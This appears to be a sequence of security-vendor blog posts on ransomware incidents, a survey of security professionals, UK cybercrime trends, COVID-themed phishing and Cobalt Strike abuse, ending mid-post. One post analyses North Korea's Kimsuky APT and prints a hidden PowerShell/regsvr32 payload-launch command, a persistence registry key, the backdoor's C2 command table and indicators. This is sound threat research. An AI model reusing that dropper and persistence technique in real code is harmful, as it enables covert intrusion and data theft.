IT News

How about that Colonial Pipeline?

As troubling as this event may be, for those of us working in the world of cybersecurity it can be hard to convince others to take dangers like this seriously—regardless of how real and immediate they are.

“Sadly, the upper leadership team does not understand the stakes and why an investment is necessary to protect assets and tomorrow’s productivity,” said one beleaguered security professional we spoke to.

If this sounds like you, you’re not alone. There are plenty who share your pain.

Back in March, Malwarebytes released the SMB Cybersecurity Trust and Confidence Report 2021. For this report, we surveyed 704 cybersecurity professionals from all levels on the corporate ladder, from CISOs on the top rung down to the hardworking sysadmins. Participating small- and medium-sized businesses ranged from 50 to 999 employees. 

What did we find? Security professionals trust their endpoint protection to do its job—with some caveats.

Some 95 percent of respondents say they trust their cybersecurity vendor to provide effective endpoint protection. By that same token, more than 90 percent say their endpoint protection is effective and they’re confident it protects against dangerous threats.

So, what’s the catch?

Decision makers versus decision influencers

To get a better sense of who our survey-takers are and identify any potential difference of opinion, we asked them for their titles. You can see the full breakdown below, but just under half, 48 percent, of our respondents identify as IT directors.

Next, we grouped participants by those who “make the final decision” regarding endpoint protection purchases and those who have ”significant influence,” with 52 percent identifying as decision makers and 48 percent identifying as decision influencers.

Those who answered, “Yes, I’m a decision maker” generally have a somewhat rosier disposition when it comes to the dangers their organizations are facing and their ability to stop those dangers. 

We asked, “Has your endpoint protection product ever failed to detect a threat?” Those who make the final decision are more likely than those who influence decision making to say their endpoint protection provider hadn’t failed (64 percent versus 48 percent).

Coming at the issue from another angle, we also asked, “How frequently does your organization register a cybersecurity threat?” Those who make the final decision are far more likely than those who influence decision making to say their organization registers a threat “once a month” or “very often” (26 percent versus 13 percent).

We then asked “Agree or disagree? I believe it’s not a matter of if but when my organization suffers a successful attack or breach.” Just over half, 56 percent, said they agreed. Those who make the final decision agree to this statement significantly more than those who influence decision making (64 percent versus 49 percent).

So, what is the data telling us? Security professionals are confident in their endpoint protection, but they’re realistic about the threats they’re facing. Yes, there are some variations depending on an individual’s position within the org chart; otherwise, everyone is pretty much in agreement on the increasing sophistication and frequency of attacks.

The security ouroboros

Many of the survey respondents expressed frustration with leadership outside of the security org.

We asked, “What’s the biggest obstacle to security at your organization?”

“Buy-in from the leadership team that it is worth the investment versus other priorities,” said one respondent.

Another said, “Faced with a range of obstacles, from slowing budget growth to dissatisfied boards, business and security leaders are being challenged to change the way they approach cybersecurity and risk.”

No budget? No buy-in? Lack of investment? Sounds about right.

At risk of reading too deeply in to the data, the implication here is that while businesses get bigger, security orgs stay the same in terms of personnel and infrastructure. 

The numbers bear this out, 65 percent of respondents from SMBs with 500 to 999 employees identified as CIO, CISO, or IT director. 

Where one would expect to see a pyramid shape from the CISO or CIO on down, with more frontline level employees at the bottom than leaders at the top, the reality has gone all pear-shaped. As mentioned earlier, almost half of total survey respondents identified as IT directors.

Compounding the problem, a significant portion of our respondents believe that bigger organizations make for more frequent targets.

We asked “Agree or disagree? Hackers do not target small- and medium-sized organizations and attack only bigger organizations.” 

Some 39 percent of respondents agreed bigger organizations made for more frequent targets. Among survey respondents at organizations with more than 500 employees, a slightly larger 43 percent agree.

However, those who make the final purchasing decision on endpoint protection agree even more—bigger business, bigger target—than those who just influence decision making (48 percent versus 30 percent).

What does it all mean? For starters, security professionals across the board have faith in their endpoint protection, but they’re frustrated at the lack of support from senior leadership outside of the security org. 

When businesses find success and the dollars start rolling in it’s a given that many of those dollars are going to be earmarked for talent acquisition and IT infrastructure. Unfortunately, from a security perspective, growth at one end doesn’t translate to growth at the other end. Security pros just don’t get the additional resources that they’re expecting—that they need—to accommodate growth within the organization as a whole.

Like a snaking eating its own tail, growing businesses have more employees and more endpoints to protect, but security budgets and head count seem to remain stagnant. And the consequences for this security conundrum are dire. Look no further than the latest headlines.

The post Security pros agree about threats—convincing everyone else is the problem appeared first on Malwarebytes Labs.

After the attacks on Colonial Pipeline and JBS, many may have been wondering, as we did, what the next ransomware headline was going to be.

Well, here it is—another victim in the vital infrastructure of transport and logistics, although this time the impact may be less brutal.

Steamship Authority, the largest ferry service in Massachusetts, has fallen victim to a ransomware attack. The Steamship Authority informed the public on social media that it was the target of a ransomware attack early Wednesday, June 2, 2021.

Steamship Authority, the company

Steamship Authority is the largest ferry service to the islands of Martha’s Vineyard and Nantucket. They operate ferry transports between the mainland of the US and Martha’s Vineyard and Nantucket islands, including passengers, autos, and trucks. The ferry services and their safety have not been compromised, but it looks like the Steamship Authority offices have been disrupted in a severe way. The Steamship Authority’s website is currently unavailable. This also means that it is not possible to make new reservations, not even by phone.

 The impact

In a tweet, the company informed customers that while they were working through the consequences of the cyberattack, all ferries are operating at this time. They are keeping customers informed by posting the ferry schedules on their social media channels.

Which does not mean that it’s all business as usual. There is limited access to credit card systems at some terminal and parking locations but, to avoid delays, cash is likely the best option for ticketing and parking. Customers are currently unable to book or change vehicle reservations online or by phone. Existing vehicle reservations will be honored at Authority terminals, and rescheduling and cancellation fees will be waived.

The timing for the attack is painfully accurate as this marks the start of season where tourists start to visit this region and where a peak in traffic is to be expected.

Investigation

The Steamship Authority tweeted that it is working internally, as well as with federal, state and local authorities, to determine the extent and origin of the attack. Since this is an ongoing investigation it is unlikely that the authorities will share any information about the type or possible origin of the attack. But we will keep you informed if we should learn more.

A spokesperson for the U.S. Coast Guard stated that the U.S. Coast Guard 1st District is working in conjunction with the Massachusetts Cybersecurity Unit, and that the FBI is currently leading the investigation.

Recovery

Recovery from a ransomware attack can be a long and expensive process, even if the victim decides to pay the ransom. It can take weeks to months to get the server infrastructure back up and running. If the possibility to make new bookings stays offline it will only take so long before the number of existing bookings starts to dwindle. We can only hope that the Steamship Authority manages to get back into an operational state as soon as possible. Getting stuck on one of the islands is not the worst thing one could imagine, but it’s different if you didn’t necessarily plan it.

Stay safe, everyone!

The post Steamship Authority answers question: Who’s the next ransomware victim? appeared first on Malwarebytes Labs.

Since the initial lockdown, we have seen the rise of certain types of cybercrime, including scams and fraud campaigns that either bank on the global COVID-19 pandemic or take advantage of potential victims that adhere to work-from-home measures.

In the UK, the National Crime Agency (NCA) has determined that many types of cybercrime, such as ransomware attacks, digital fraud, and insider threats—with a specific mention of child sexual abuse—have increased because of more users in the UK logging online to do work, attend online classes, and (at the first few months of lockdown) alleviate boredom.

The agency also noted the resilience and adaptability of serious and organized crimes (oddly labeled as “SOCs,” despite the same acronym meaning “security operation center” in the cybersecurity field) in their use of technology and well-established tools to avoid detection. For example, budding and professional criminals are using commercially available encryption, Secure Messaging Applications (SMAs), and decentralized messaging apps, which usually comes with a crypto wallet, to manage their own data and mask their identities and communications. They also use cryptoassets to buy and sell illegal commodities in the underground or to launder money. Because of this, the NCA has assessed that by disrupting the technology, including the capabilities that enable them, they can end criminal schemes in an efficient manner.

SOCs are categorized as “significant and established national security threat that endangers the integrity, legitimacy, and sovereignty of the UK and its institutions, both at home and overseas.” It is no surprise to see SOCs being conducted over the internet by crime groups. And the NCA has been monitoring them year on year.

Organized crime: Ransomware-as-a-service (RaaS)

The growing threat of ransomware continues to loom over organizations across industries worldwide. In the UK, the estimated direct and indirect cost of ransomware is, at most, billions of pounds per year. However, determining the exact figure has always been a challenge seeing that underreporting and inaccurate cost estimates were and have been pretty much a problem in 2020. Underreporting is primarily caused by lack of awareness of who to report an attack to and, in some cases, the general reluctance to report for fear of reputational damage and/or uncertainty.

The NCA has observed a dramatic increase in demand for Remote Desktop Protocol (RDP) credentials. This is because of the increased use of such software following remote working. Criminals gaining these credentials could no doubt also access corporate networks.

Lastly, cybercriminals use current events in their spam and phishing emails—another way to get into corporate networks. They have themed their campaigns around COVID-19 and the end of the financial year for the business.

Organized crime: Online fraud

COVID-19 themes are also common in fraud campaigns. According to Action Fraud, the UK’s go-to reporting center for fraud and cybercrime, between January to December 2020, victims lost an estimated total of 3 billion GBP to fraudsters. 

The increased reliance on online services has encouraged fraudsters to target and take advantage of the more vulnerable and less security-savvy UK citizens, giving rise to shopping fraud, auction fraud, and, of course, sophisticated phishing campaigns. If criminals couldn’t find a way to their potential victims, online advertising has served as the perfect means for their victims to come to them. Fraudsters have been observed to use social media and online service platforms to post up fraudulent ads.

The NCA cited other fraud campaigns, such as romance scams and misinformation campaigns surrounding Brexit, the UK’s departure from the European Union. 

---

What’s the difference between ‘catfishing’ and ‘catfishing’? Find out here.

---

Organized crime: Insider threats 

In the financial sector, working from home shined a light on the problem of reduced ability to monitor staff, thus missing signs of unusual behaviour and other signs that give away employee struggles. This opens the possibility of an insider threat, a threat that businesses hardly mention, let alone prepare for.

Disgruntled employees and those struggling financially could more likely be tempted to engage in bribery and corruption when opportunity presents itself. Incidents involving these would be difficult to trace or pinpoint as they are usually presented as genuine payments for goods with increased market rates. There is also a realistic possibility that such engagements will only increase as businesses in the UK begin recovery measures from the impact of the pandemic and Brexit.

Future cybercrimes in the UK and beyond

Whether or not these online organized crimes will continue to be noteworthy in the next year is yet to be seen. However, notice that these online crimes have already been present, pre-pandemic and pre-Brexit. More often than not, when everyone starts living in “the new normal,” it’s highly likely that the possible turnout will all just be differences in numbers: Ransomware, for example, may or may not have higher victim rates after a year. Or, perhaps, romance scams will dramatically scale down to nonexistence. Perhaps.

However cybercrime will look like in the future, what remains constant is the continued vigilance of groups like the NCA and businesses in the public and private sectors on effectively educating and training UK employees on cybercrimes that affect them and how they should respond. As a business, they should know what steps to take to further improve their security posture and who to contact in the event of a cybercrime incident they may encounter. Lastly, much stress should also be placed in reporting to spread awareness, help other organizations avoid being victimized, and for law enforcement to keep track of cybercriminals.

The post Cybercrime, fraud, and insider threats increased in 2020 in the UK, report says appeared first on Malwarebytes Labs.

As offices start to slowly open back up, the theoretically post-pandemic world is changing its threat landscape once again, and that includes the likely inclusion of coronavirus phishing attempts. With the move to remote work, attackers switched up their tactics. Personal devices and home networks became hot targets. Organizations struggled with securing devices remotely, rolling out VPNs, and forming best practices for potentially sensitive work done outside the office environment.

And hey, don’t forget the trend of using work devices for personal use. The gradual blurring of lines between work and personal use is an understandable one given how 2020 panned out. Even so, it introduces an aspect of risk that many organizations perhaps weren’t dealing with previously.

Office, work from home (WFH), or…both?

Now that a lot of the office space has gone virtual and might not go back to being fully on-site, we’re all left holding our breath. It’s impossible to predict how the post COVID-19 work landscape will fit together. A hybrid approach seems most likely, with time split between office and home. Full office attendance or 100 percent WFH seems unlikely, and perhaps not actually possible for some roles.

With this in mind, attackers will have to keep thinking up the best ROI for schemes which are able to take on said hybrid workers with maximum efficiency.

For now, we have an opening salvo of “welcome back to the office, here’s a phish we’d like you to click”.

“The office is re-opening! Please read the newsletter…”

Employees are now indeed being targeted with “back to the office” missives. Found by Cofense, the mail claims to be an [EXTERNAL] email notice from the CIO, welcoming people back to the office as they update their “business operations”.

A simple yet effective tactic. Many organisations will likely be sending similar messages over the coming weeks and months. In fact, this could be more effective where companies don’t have regular COVID status updates going out by mail. In places where regular comms and instructions are dispensed, this will perhaps stand out. A curious employee won’t think “Oh, it’s not our bi-weekly update from our official pandemic information source. This seems peculiar”. They may perhaps go down the “Wow, it’s the boss! We’re back in the office” route instead.

From there, it’s a short step to “I’ve just handed my credentials to this fake Microsoft portal”.

Taking action against the pandemic chancers

There’s a few ways to try and defend against this type of attack.

If an organization doesn’t have any sort of plan for COVID updates, they should really consider it. Narrowing down the scope for “Who sends this” to one specific mailbox/individual potentially makes it a target, but that’s preferable to a fake COVID update coming from any number of random employees.

There’s also other ways to get across COVID updates, like group calls or status updates in other weekly/monthly team meetings. Considering how many Zoom calls everyone has had at this point, there shouldn’t be any problem dropping these updates into overall messaging.

A combination of mailed and spoken comms, alongside other systems like Intranet portals containing the latest advice, should go a long way to keeping the Covid scammers out. For now, be on your guard against mails making bold promises regarding office activity. While many of us can’t wait to get back, that’s exactly what these phishers are banking on.

The post Coronavirus phishing: “Welcome back to the office…” appeared first on Malwarebytes Labs.

This week another major supplier reported it had been hit with ransomware. After the Colonial Pipeline attack last month, this time the victim is the world’s largest meatpacker, JBS. JBS halted cattle slaughter at all its US plants on Tuesday after the attack caused their Australian operations to shut down on Monday. Some plant shifts in Canada were also canceled Monday and Tuesday. The company’s operations in Mexico and the UK were not impacted and are conducting business as normal.

JBS

JBS is the second largest meat and poultry processor in the US. JBS controls about 20 percent of the slaughtering capacity for US cattle and hogs. It owns the Swift brand, and most of chicken processor Pilgrim’s Pride Co. Due to the attack, US meatpackers slaughtered 22 percent fewer cattle than a week earlier. There are early fears that ongoing shutdowns of JBS plants could raise meat prices further for American consumers.

The attack

The initial press statement by JBS mentioned an “organized cybersecurity attack,” affecting some of the servers supporting its North American and Australian IT systems. Soon after it became clear that the company was dealing with a ransomware attack because a ransom demand came in. This was later confirmed by some tweets from the Cybersecurity and Infrastructure Security Agency (CISA).

At the moment of writing it is unclear which ransomware family was involved or how the attack took place, although early reporting indicates the cybercrime group responsible is REvil. The same early reporting also indicates that, if REvil was indeed responsible for the attack, the group has not written about the attack publicly on its darkweb blog called “Happy Blog.”

Recovery

According to JBS, they have made significant progress in resolving the cyberattack that has impacted the company’s operations.

“Our systems are coming back online and we are not sparing any resources to fight this threat. We have cybersecurity plans in place to address these types of issues and we are successfully executing those plans. Given the progress our IT professionals and plant teams have made in the last 24 hours, the vast majority of our beef, pork, poultry and prepared foods plants will be operational tomorrow.”

A one-day recovery time is remarkably fast, as many organizations takes weeks and sometimes even months to become fully operational after suffering a ransomware attack. We have even seen companies go bankrupt over the costs.

International intervention

What is also notable about this incident, as well as the attack on Colonial Pipeline, is the fact that the Biden administration has sent another warning to Russia, which is believed to be the origin of the cyberattacks. White House principal deputy press secretary Karine Jean-Pierre said:

“The White House is engaging directly with the Russian government on this matter and delivering the message that responsible states do not harbor ransomware criminals.”

Biden is scheduled to meet with Russian President Vladimir Putin in Geneva later this month.

Supply chains and critical infrastructure

The attacks on critical infrastructure—especially in supplies that we need on a daily basis—are very disruptive and it is no wonder that governments are likely to get involved. But it makes us wonder why the supply chains for food and oil seem to be a higher priority than other critical services like healthcare, schools, and emergency services, all of which have suffered countless attacks without political intervention. On the other hand, Colonial Pipeline and JBS represent suppliers for whom there are no immediate replacements if they shut down for a long time.

Of course, it is also possible that these attacks are done under the guise of ransomware attacks, but are in reality probes to see how vulnerable our infrastructure is, especially when major targets like Colonial Pipeline and JBS are involved.

The need to better secure the nation’s supply chains prompted the Department of Homeland Security last month to issue new security directives to regulate the pipeline industry for the first time. Maybe we can expect something similar for major food suppliers soon.

Ransomware Task Force

JBS reportedly informed the government about the ransomware attack, which is exactly the kind of behavior that the Ransomware Task Force would like to see of ransomware victims. The Ransomware Task Force (RTF), is a think tank composed of more than 60 volunteer experts who represent organizations encompassing industries and governments. The RTF has recently pushed out a comprehensive and strategic plan for tackling the increasing threat and evolution of ransomware.

Stay safe, everyone!

The post JBS says it is recovering quickly from a ransomware attack appeared first on Malwarebytes Labs.

This blog post was authored by Hossein Jazi.

The Kimsuky APT—also known as Thallium, Black Banshee, and Velvet Chollima—is a North Korean threat actor that has been active since 2012. The group conducts cyber espionage operations to target government entities mainly in South Korea. On December 2020, KISA (Korean Internet & Security Agency) provided a detailed analysis about the phishing infrastructure and TTPs used by Kimsuky to target South Korea.

The Malwarebytes Threat Intelligence team is actively monitoring this actor and has been able to spot phishing websites, malicious documents, and scripts that have been used to target high profile people within the government of South Korea. The structure and TTPs used in these recent activities align with what has been reported in KISA’s report.

Victimology

One of the lures used by Kimsuky named “외교부 가판 2021-05-07” in Korean language translates to “Ministry of Foreign Affairs Edition 2021-05-07” which indicates that it has been designed to target the Ministry of Foreign Affairs of South Korea. According to our collected data, we have identified that it is one entity of high interest for Kimsuky. Other targets associated with the Korean government include:

• Ministry of Foreign Affairs, Republic of Korea 1st Secretary
• Ministry of Foreign Affairs, Republic of Korea 2nd Secretary
• Trade Minister
• Deputy Consul General at Korean Consulate General in Hong Kong
• International Atomic Energy Agency (IAEA) Nuclear Security Officer
• Ambassador of the Embassy of Sri Lanka to the State
• Ministry of Foreign Affairs and Trade counselor

Beside targeting government, we also have observed that they have targeted universities and companies in South Korea including the Seoul National University and Daishin financial security company as well as KISA.

Phishing Infrastructure

The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails. The group is still using similar phishing models previously mentioned in the KISA report with some small changes.

As an example, they have added the Mobile_detect and Anti_IPs modules from type B to type C (KISA report) in order to be able to detect mobile devices and adjust the view based on that. This phishing model has the capability to show phishing pages in English or Korean based on the parameter value received from the phishing email. This model has been deployed by Kimsuky to target not only Korean speaking victims but also English speaking people, as well.

We have observed that they developed different phishing techniques to mimic the following web services and steal credentials:

• Gmail
• Hotmail
• Microsoft Outlook
• Nate
• Daum
• Naver
• Telegram
• KISA

We have identified several URLs used by Kimsuky to host their phishing infrastructure:

http://accounts[.]goggle[.]hol[.]es/MyAccount
https://myaccount[.]google[.]newkda[.]com/signin
http://myaccount[.]google[.]newkda[.]com/signin
http://myaccount[.]google[.]nkaac[.]net/signin
https://myaccounts-gmail[.]autho[.]co/signin
http://myaccounts-gmail[.]kr-infos[.]com/signin
http://myaccount[.]cgmail[.]pe[.]hu/signin
https://accounts[.]google-manager[.]ga/signin
https://accounts[.]google-signin[.]ga/v2
https://myaccount[.]google-signin[.]ga/signin
https://account[.]grnail-signin[.]ga/v2
https://myaccount[.]grnail-signin[.]ga/v2
https://myaccounts[.]grnail-signin[.]ga/v2
https://accounts[.]grnail-signin[.]ga/v2
https://protect[.]grnail-signin[.]ga/v2
https://accounts[.]grnail-signing[.]work/v2
https://myaccount[.]grnail-signing[.]work/v2
https://myaccount[.]grnail-security[.]work/v2
https://signin[.]grnail-login[.]ml
https://login[.]gmail-account[.]gq
https://signin[.]gmrail[.]ml
https://login[.]gmeil[.]kro[.]kr
https://account[.]googgle[.]kro[.]kr

The group has used Twitter accounts to find and monitor its targets to prepare well crafted spear phishing emails. The group also is using Gmail accounts to use for phishing attacks or registering domains. One of the Gmail accounts used by this actor is ” tjkim1991@gmail[.]com” which was used to register the following domains:

ns1.microsoft-office[.]us
ns2.microsoft-office[.]us

They were registered on April 3 and we believe have been reserved to be used for future campaigns. Pivoting from these domains, we were able to uncover the infrastructure used by this actor. Some of it has overlap with previously reported campaigns operated by Kimsuky.

Command and Control infrastructure

Kimsuky reuses some of its phishing infrastructure for its command and control communications. In their most recent attack against South Korea’s government they reused the infrastructure that has been used to host their phishing websites for AppleSeed backdoor C&C communications. Besides using the AppleSeed backdoor to target Windows users, the actor also has used an Android backdoor to target Android users. The Android backdoor can be considered as the mobile variant of the AppleSeed backdoor. It uses the same command patterns as the Windows one. Also, both Android and Windows backdoors have used the same infrastructure. It is also interesting to mention that this actor calls themselves Thallium.

Here are some of IPs and domains used by the actor for C2 communications:

210.16.120[.]34
216.189.157[.]89
45.58.55[.]73
45.13.135[.]103
27.102.114[.]89
210.16.121[.]137
58.229.208[.]146
27.102.107[.]63
download.riseknite[.]life
onedrive-upload.ikpoo[.]cf
alps.travelmountain[.]ml
texts.letterpaper[.]press

Analysis of the most recent AppleSeed attack

In this section we provide an analysis of the AppleSeed backdoor that has been used to target the Ministry of the Foreign Affairs of South Korea.

Initial Access

The actor has distributed its dropper embedded in an archive file (외교부 가판 2021-05-07.zip) as an attachment through spearphishing emails. The target email addresses have been collected using the actor email phishing campaigns we described in the previous section. The actor conducted this spearphishing attack on May 7, 2021.

The archive file contains a JavaScript file (외교부 가판 2021-05-07.pdf.jse) which pretends to be a PDF file that contains two Base64 encoded blobs. The first one is the content of the decoy PDF file in Base64 format and the other one contains the AppleSeed payload also in Base64 format (encoded twice).

At first it uses the MSXML Base64 decoding functionality to decode the first layer and then uses certutil.exe to decode the second layer and get the final ApppleSeed payload. The decoy PDF file has been decoded using the MSXML Base64 decoding function.

After decoding the PDF and AppleSeed payload, the content gets written into the ProgramData directory. At the end, the decoy PDF file is opened by calling Wscript.Shell.Run and the AppleSeed payload executed through PowerShell by calling regsvr32.exe. Calling regsvr32.exe to run a DLL registers it as a server that automatically calls the DLL export function that has been named DllRegisterServer.

powershell.exe -windowstyle hidden regsvr32.exe /s AppleSeed_Payload

Wscript_Shell.Run(Pdf_Name);

AppleSeed Backdoor

The dropped payload is a DLL file that has been packed using the UPX packer. The unpacked sample is highly obfuscated and important API calls and strings have been encrypted using a custom encryption algorithm. The encrypted version of the strings and API calls are in hex ASCII format. Whenever in the code the malware needs to use a string, it takes the encrypted string and passes it into two functions to decrypt it.

The first function “string_decryptor_prep” gets the encrypted string and then prepares a custom data structure that has four elements:

typedef struct _UNICODESTR {
	wchar_t *Buffer; // Encrypted string
	DWORD padding;
	uint64_t Length; // Length of the string
	uint64_t MaxLength; // Max length for the string which has been calculated based on the lenght
} UNICODESTR;

The second function “string_decryptor” gets the created data structure in the previous function and then decrypts the string and puts it in the same data structure.

The decryptor function first convert the input string in hex ascii format to binary by calling the hexascii_to_binary function on each two ascii characters (i.e. c3, 42, b1, 1d… in example 1). The first 16 bytes of in the input is then used as the key and the remainder is the actual value that gets decrypted in 16 byte chunks (i.e. ed, d5, 0d, 60).
Decryption is a simple xor operation of key[i] ^ string[i-1] ^ string[i] (For the first character string_to_be_decrypted[i-1] is set to zero).

Most of the important API calls resolve dynamically during the run time using “string_decryptor” function. (288 API calls have been resolved dynamically.)

The AppleSeed payload has an export function named “DllRegisterServer” which will be called when the DLL is executed using RegSvr32.exe. DllRegisterServer has a function that is responsible for performing the DLL initialization and setup that includes the following steps:

• Copy itself into “C:ProgramDataSoftwareESTsoftCommon” and rename itself as ESTCommon.dll to pretend it is a DLL that belongs to ESTsecurity company.
• Make itself persistent by creating the following registry key:

Registry key name: EstsoftAutoUpdate
Registry key value: Regsvr32.exe /s C:ProgramDataSoftwareESTsoftCommonESTCommon.dll
Registry location: HKLUSoftwareMicrosoftWindowsCurrentVersionRunOnce

• Functionality activation by creating the following files into “C:ProgramDataSoftwareESTsoftCommonflags” directory and writes “flag” into them: FolderMonitor, KeyboardMonitor, ScreenMonitor, UsbMonitor.

In the next step it creates a Mutex to make sure it only infects a victim once.

After creating that mutex, it checks if the current process has the right access privilege by calling GetTokenInformation API call and if it does not have the right privilege, it tries to escalate its privilege using AdjustTokenPrivilege by passing SeDebugPrivilege to it to gain system level privilege.

At the end it performs its main functionalities in separate threads. All the the collected data in each thread is being zipped and encrypted and is being sent to the command and control server using HTTP POST requests in a separate thread. After sending the data to the server, the data is deleted from the victim’s machine.
The ApppleSeed payload is using RC4 for encryption and decryption of the data. To generate RC4 key, it creates a Random buffer of 117 bytes by Calling CryptGenRandom and then uses CryptCreateHash and CryptHashData to adds the buffer into a MD5 hash object. Then it calls CryptDeriveKey to generate the RC4 key.
The created 117 bytes buffer is encrypted using RSA algorithm and is sent to the sever along with RC4 encrypted data. The RSA key is in hex ASCII format and has been decrypted using “string_decryptor” function.

Input Capture (KeyLogger)

The keylogger function uses GetKeyState and GetKeyboardState to capture the pressed keys on the victim’s machine and logs all keys per process into the log.txt file.

Screen Capture

This module takes screenshots by calling the following sequence of API calls and writes them to files: GetDesktopWindow, GetDC, CreateCompstibleDC, CreateCompatibleBitmap, Bitblt and GetDIBits and then writes them into a file using CreateFileW and WriteFile.

Collect removable media data

This module finds the removable media devices connected to the machine and collects its data before sending it to the command and control server. To identify a USB drive it calls CM_Get_Device_IDW to retrieve the device instance ID that would be in format “<device-ID><instance-specific-ID>” and then checks if it contains USB string value.

Collect files

This thread looks for txt, ppt, hwp, pdf, and doc files in the Desktop, Documents, Downloads and AppDataLocalMicrosoftWindowsINetCacheIE directories and archives them to be ready to be exfiltrated to the server.

Command structure

The AppleSeed backdoor is using a two layer command structure to communicate to its command and control server. Here is the URL pattern used for C&C communications:

entity:url url:?m=[command layer one]&p1=[volume serial number]&p2=[command layer two]

Command layer one defines the type of command that server expected to be executed on the victim and it can have one of the following values:

Command	Description
a	ping mode (Collect victim info including IP, Time stamp, victim OS version)
b	upload data mode
c	Download command (Waiting for command)
d	Delete command
e	Upload command mode
f	List directories mode
g	Delete file mode
h	Check existence of a file mode

Command layer 2 is only for when the command layer 1 is in upload data mode (c) and defines the type of upload. It can have one of the following values:

Command	Description
a	Upload command execution results
b	Upload files and removable media data
c	Upload screenshots
d	Upload input capture data (Keylogger data)

Conclusion

Kimsuky is one of North Korea’s threat actors that has mainly targeted South Korean government entities. In this blog post we took a look at this group’s activities including its phishing infrastructure and command and control mechanisms. Our research has shown that the group is still using a similar infrastructure and TTPs as reported on December 2020 by KISA. Its most recent campaign targeted the ministry of foreign affairs using the Apple Seed backdoor.

MITRE ATT&CK Techniques

Tactic	ID	Name	Details
Reconnaissance	T1598	Phishing for Information	Use phishing to collect email addresses for targeted attack
Resource Development	T1583.00	Acquire Infrastructure: Domains	Purchase and register domains a few month before the attack
Resource Development	T1587.001	Develop Capabilities: Malware	Develop AppleSeed backdoor for the attack
Resource Development	T1585.002	Establish Accounts: Email Accounts	Create email accounts to register domains and use in phishing attacks
Resource Development	T1585.001	Establish Accounts: Social Media Accounts	Use Twitter to collect info about victims
Initial Access	T1566.001	Phishing: Spearphishing Attachment	Distributing archive files that contains JS dropper through phishing emails
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	Use PowerShell to execute commands
Execution	T1059.007	Command and Scripting Interpreter: JavaScript	Use JS to execute PowerShell
Persistence	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Create Registry RunOnce key
Privilege Escalation	T1134	Access Token Manipulation	Adjust its token privileges to have the SeDebugPrivilege
Defense Evasion	T1134	Access Token Manipulation	Adjust its token privileges to have the SeDebugPrivilege
Defense Evasion	T1140	Deobfuscate/Decode Files or Information	– Use the command certutil to decode base64 contents – Decrypt data coming from Server
Defense Evasion	T1070.004	Indicator Removal on Host: File Deletion	Delete its exfiltrated data to cover its tracks
Defense Evasion	T1112	Modify Registry	modify the Run registry key
Defense Evasion	T1027	Obfuscated Files or Information	– All the strings and API calls are obfuscated using custom encryption – The dropped payload is packed with UPX
Defense Evasion	T1218.010	Signed Binary Proxy Execution: Regsvr32	Load payload through Regsvr32
Credential Access	T1056.001	Input Capture: Keylogging	Log keystrokes on the victim’s machine
Discovery	T1083	File and Directory Discovery	Obtain file and directory listings
Discovery	T1082	System Information Discovery	Collect OS type and volume serial number
Collection	T1560	Archive Collected Data	Compress and encrypt collected data prior to exfiltration
Collection	T1005	Data from Local System	Collect data from local system
Collection	T1025	Data from Removable Media	Collect data from removable media
Collection	T1056.001	Input Capture: Keylogging	Log keystrokes on the victim’s machine
Collection	T1113	Screen Capture	Capture screenshots
Command and Control	T1001	Data Obfuscation	Encrypt data for exfiltration
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	Use HTTP for command and control communication
Exfiltration	T1041	Exfiltration Over C2 Channel	Exfiltrate data over the same channel used for C2

The post Kimsuky APT continues to target South Korean government using AppleSeed backdoor appeared first on Malwarebytes Labs.

If you were to compose a list of tools and software developed by security and privacy defenders that ended up being abused by the bad guys, then Cobalt Strike would unfortunately be near the top of the list. Maybe only Metasploit could give it a run for the first place ranking.

Metasploit—probably the best known project for penetration testing—is an exploit framework, designed to make it easy for someone to launch an exploit against a particular vulnerable target. Metasploit is notorious for being abused, yet modules are still being developed for it so that it continues to evolve. Cobalt Strike is in the same basket. Cobalt Strike offers a post-exploitation agent and covert channels, intended to emulate a quiet long-term embedded actor in the target’s network.

What is Cobalt Strike?

Cobalt Strike is a collection of threat emulation tools provided by HelpSystems to work in conjunction with the Metasploit Framework. Cobalt Strike, and other penetration testing tools, were originally created for network defenders to train them to understand vulnerabilities and possible avenues of infection by cyber criminals. These tools are meant to simulate intrusions by motivated actors, and they have proven to be very good at this. So, while “white hat” hackers were developing tools to more easily emulate “black hat” activities, few considered how these tools might be turned against someone. (The terms “white hat” and “black hat” are also falling out of favor, as cybersecurity professionals adopt “red team” and “blue team” descriptors to describe offensive and defensive security teams.)

Establishing a foothold

Lately, we have seen targeted attacks by both state-sponsored threat actors and ransomware peddlers. What we mainly see in the ransomware field is an increasing amount of manual infections. For example, by using brute force methods and exploiting vulnerabilities to break into networks. We have seen a significant uptick in these methods in 2020 and beyond. As a follow-up to these more manual types of attacks, as opposed to spray-and-pray phishing attacks, we are seeing threat actors who have compromised a server, loading tools like Cobalt Strike Beacon onto the system. Cobalt Strike Beacon provides encrypted communication with the C&C server to send information and receive commands. Those commands can include instructions to download malware. After doing this, they can use Cobalt Strike to map out the network and identify any vulnerabilities as well as deploy implants, backdoors, and other tools to accomplish lateral movement eventually leading to complete network infection.

Building out grip on the compromised network

So how this usually goes, is an infection occurs, be it phishing, manual breaches by brute forcing a port, or even an exploit. Once an endpoint has been compromised, the actor looks to compromise a server on the network. There are numerous ways to accomplish this, in fact last year we saw the ZeroLogon vulnerability used against domain admin servers, which essentially gave full admin rights to a criminal within seconds! Once the server is infected, Cobalt Strike is installed and it’s at this point, that more advanced network monitoring, vulnerability identification and a bunch of other advanced features, become available to the criminal. Now armed with more capabilities, the attacker can more quickly and completely compromise endpoints across the network, eventually launching ransomware, sometimes after all the juicy data saved on the network has been collected and exfiltrated.

Cobalt Strike is pricey

New Cobalt Strike licenses cost $3,500 per user for a one year license. License renewals cost $2,585 per user, per year. But why would a cybercriminal worry about such costs? Criminals who are using these tools do not just buy them from the vendors anyway. In many cases, leaked and older versions of Cobalt Strike are being used and in some cases, sophisticated threat actors, e.g. the group behind Trickbot, are building their own versions of Cobalt Strike, modified for their special needs and purposes.

The dilemma

